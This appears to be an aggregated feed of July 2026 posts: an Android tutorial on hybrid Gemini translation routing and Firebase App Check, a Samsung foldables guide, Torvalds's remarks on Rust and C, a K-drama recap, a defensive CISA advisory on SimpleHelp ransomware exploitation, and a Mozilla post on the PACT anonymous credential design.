Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language.

Hotel support chat messages are automatically translated to the user’s preferred language

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Optimize your apps for the next generation of Samsung Galaxy devices

Sat, 25 Jul 2026 10:15:16 +0200

Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience

Today at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.

With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.

Rethink layout architecture for dynamic displays, including ultra-wide foldables

Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for. Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced dedicated guidance for building for landscape foldables and trifolds.

To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:

Build fluid, adaptive layouts: Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated adaptive design guidance advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our adaptive sample app and dual-screen design galleries.
Track actual app space: Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage Window Size Classes using the Jetpack Window Manager library to calculate the exact space your app occupies.

Leverage the latest Jetpack Compose Update: Start by adopting the stable Jetpack Compose April '26 release (Compose BOM version 2026.04.01).Take advantage of the new structural layout tools to manage complex architectures. The new Grid API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new FlexBox layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new MediaQuery API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types.
Make your app fold aware: Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is fold aware, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.
Maintain app continuity: Avoid breaking the user journey when the device configuration shifts. Retain your UI state using ViewModel to ensure smooth transitions when a user folds or unfolds their device.

Ensure seamless camera capture on foldable devices

Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.

When optimizing your app's media pipeline, migrate your capture experiences to CameraX using the CameraX migration skill. The library’s PreviewView automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the CameraViewfinder library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.

Extend glanceable interactions to Wear OS 7

The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using Jetpack Glance and RemoteCompose. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets.

Build intelligent features

Gemini intelligence already completes tasks on users’ behalf, and you can experiment with the intelligence system by sharing your apps capabilities.

Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and much more. Use ML Kit’s Prompt API with advanced features like structured output and thinking mode to build intelligent features on-device.

Start optimizing today

The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for building adaptive apps to learn more about core adaptive design principles.

To dive deeper, check out our comprehensive YouTube playlist. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for trifolds and landscape foldables and WearOS.

Unfold the future today!

Linus Torvalds on Rust, C, Bugs, and AI Patch-Checking Tools

Sat, 25 Jul 2026 10:12:38 +0200

"Git and email are the two really only tools I use," Linus Torvalds said at Open Source Summit India 2026. But ZDNet reports that he also shared his thoughts on Rust, C, and patch-checking tools: "I use Google as a way to look things up." He added, "I'm unusual; most of the other maintainers end up using many more tools, and I think a lot of them are starting to use AI tools for patch checking," while he "works at a higher level. I work with people, not tools." When asked about Rust both in Git and the kernel, he pushed back against hype: "I'm not sure Rust is going to take over the world. I still think Rust is very interesting, [but] I still find C to be a much simpler tool." Torvalds continued, "I'm much more excited about all the tools we have for verification of C," including "automated patch verification tools" and "automated email checking tools for patches like Sashiko." Summing up, Torvalds told the Mumbai audience: "I'm more of a hack-and-slash kind of person, and I still like the raw and simple power of C, and I don't think that's going to change." Torvalds also warned against overestimating Rust's benefits: "Rust fixes a few easy bugs that you can make in C, but it does not fix the logic errors, right? It does not think for you, and when you write incorrect code, the language does not matter. The end result will be incorrect." On mixed C/Rust code bases, he pointed out that guarantees are limited: "The guarantees that Rust give you only apply in the Rust-only parts of your code base, and wherever you interact with C code, all bets are off," with most Rust code in Linux talking to "core kernel C code" that is "much better quality... because that code has been tested in every single environment." At the same time, Torvalds pointed out, "some of our big and more high-profile bugs in the kernel lately have been logic errors" rather than the kind of memory errors Rust prevents. "It was just bad programming, which sadly happens even in carefully maintained subsystems and important kernels that are supposed to be very secure."

‘Agent Kim Reactivated’ Episode 9 Recap: Kim and His Team Fight Their Way Out

Sat, 25 Jul 2026 10:05:45 +0200

Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise. Release date: July 24, 2026 Streaming platform: Netflix Total episodes: 10 Finale release date: July 25, 2026 The Korean drama follows an ordinary office worker who reveals his past as a highly trained black-ops agent after his daughter disappears. The series stars So Ji-sub as Manager Kim, alongside Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun, and Seo Su-min. Spoilers ahead for Agent Kim Reactivated Episode 9 Episode 9 begins with Kim’s latest operation failing to go according to plan. After being captured and tortured in the previous episode, Kim remains trapped between the National Special Missions Bureau, enemies from his past, and Kang-chan’s personal revenge campaign. Kim refuses to surrender because reaching Min-ji remains his only priority. He once again relies on the skills he spent years hiding, although the episode makes it clear that he cannot complete this mission alone. Han-su and Jin-cheol return to help their old friend, bringing their familiar mix of action and humour into the tense situation. Sang-a also becomes an important part of the escape plan. Together, the four characters attempt to break free before Kang-chan can carry out the next stage of his revenge. Kang-chan reveals another plan The biggest problem is that Kang-chan has already expected Kim to fight back. He keeps another secret weapon ready, forcing Kim and the other fathers to change their strategy while they are already under pressure. Kang-chan’s actions continue the conflict that began with the bullying involving Min-ji and Hye-ri. What started as a dispute between their daughters has grown into a violent battle shaped by pride, power, and revenge. The episode also brings the three fathers closer together. Han-su and Jin-cheol understand that Kim will risk his life for Min-ji, so they choose to remain beside him even when the chances of escaping become smaller. Where is the story heading? Episode 9 serves as the final setup before the conclusion. Kim has survived capture, reunited with Min-ji, and faced people connected to his hidden life, but Kang-chan still controls the final threat. The remaining conflict now depends on whether Kim can protect his daughter without losing the friends who followed him into danger. The extended finale airs on July 25 at 9:45 p.m. KST, five minutes earlier than the show’s usual broadcast time. What did you think about Kim, Han-su, Jin-cheol, and Sang-a’s escape mission in Agent Kim Reactivated Episode 9? Let us know what you expect from the finale in the comments.

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web
Sat, 25 Jul 2026 08:37:27 +0200
This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome. 
Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. 
Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans. 
Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. 
This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. 
Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.
The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers. 
The Costs of Convenient Solutions
Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.
Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.
Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.
However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors. 
Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.
A Better Path Forward 
Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  
Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. 
However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work. 
What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. 
As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. 
The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking. 
Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.
The Foundations 
The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. 

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history. 
Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. 
Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you. 
Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably. 
Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 
To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. 
Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected. 
Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. 
Putting it together 
So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. 
Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites. 
That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. 
We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 
In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time. 
Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one. 
